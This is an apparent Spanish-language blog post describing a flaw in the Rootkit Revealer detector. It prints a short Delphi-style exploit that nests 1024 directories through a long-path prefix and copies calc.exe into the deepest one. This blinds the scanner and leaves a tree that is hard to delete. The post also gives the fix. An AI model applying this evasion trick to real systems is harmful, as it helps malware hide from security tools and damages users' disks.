nota:
Solamente usenlo si realmnente saben lo que hacen...
Rootkit Revelaler (RKR) es un detector de Rookits muy conocido el cual es usado para revelar algunos rootkits de modo usuario así como algunas cuantas cosas del modo kernel.
Puede detectar archivos ocultos haciendo lecturas de modo RAW y usando su propio parser para el sistema de archivos. Puede detectar entradas ocultas en el registro volcando directamente desde el disco por medio de un driver y la función ZwSaveKey y utilizando su propio parser para esto.
Existen varias maneras de sobrepasar completamente a RKR, pero el detector mismo puede ayudarte a sobrepasarlo. Esta vulnerabilidad esta presente en todas las versiones de RKR inclusive en las más antiguas versiones de línea de comando.
El objetivo principal del exploit es usar restricciones del sistema de archivos que también están presentes en RKR. El exploit crea un árbol de 1024 directorios es decir cada uno esta dentro del anterior, y después copia calc.exe (la calculadora de windows) en el último directorio creado con el nombre “test.exe”. Después de crear este exploit cualquier escaneada al disco con RKR será completamente inútil, porque cuando RKR pase por el directorio del exploit este comenzara a mostrar todo los directorios y archivos como "Visible in Windows API, MFT, but not in directory index".
Usando este exploit con las viejas versiones de consolas genera un error de violación de acceso.
El codigo del exploit se muestra a continuación…
Advertencia:
Debido a las raices del Sitema de Archivos y a las restricciones de la Ínterfaz Grafica de Windows no es sencillo eliminar el exploit del disco. Así que no lo uses en una maquina real si no sabes como eliminar el archivo.
var
i: integer;
buf: array[0..100000] of wchar;
buf2: LBuf;
begin
memzero(@buf, sizeof(buf));
GetWindowsDirectoryW(buf2, MAX_PATH);
strcpyW(buf, '\\?\C:\adir');
CreateDirectoryW(buf, nil);
for i := 0 to 1023 do
begin
strcatW(buf, '\adir');
CreateDirectoryW(buf, nil);
end;
strcatW(buf, '\test.exe');
strcatW(buf2, '\calc.exe');
CopyFileW(buf2, buf, false);
end;
Este no es un exploit “puro” debido a que no genera escalación de privilegios. Este se puede clasificar como uno del tipo DoS (Denegación del Servicio).
Para corregir esta vulnerabilidad es necesario modificar RKR para soportar rutas UNC.


Escribir un comentario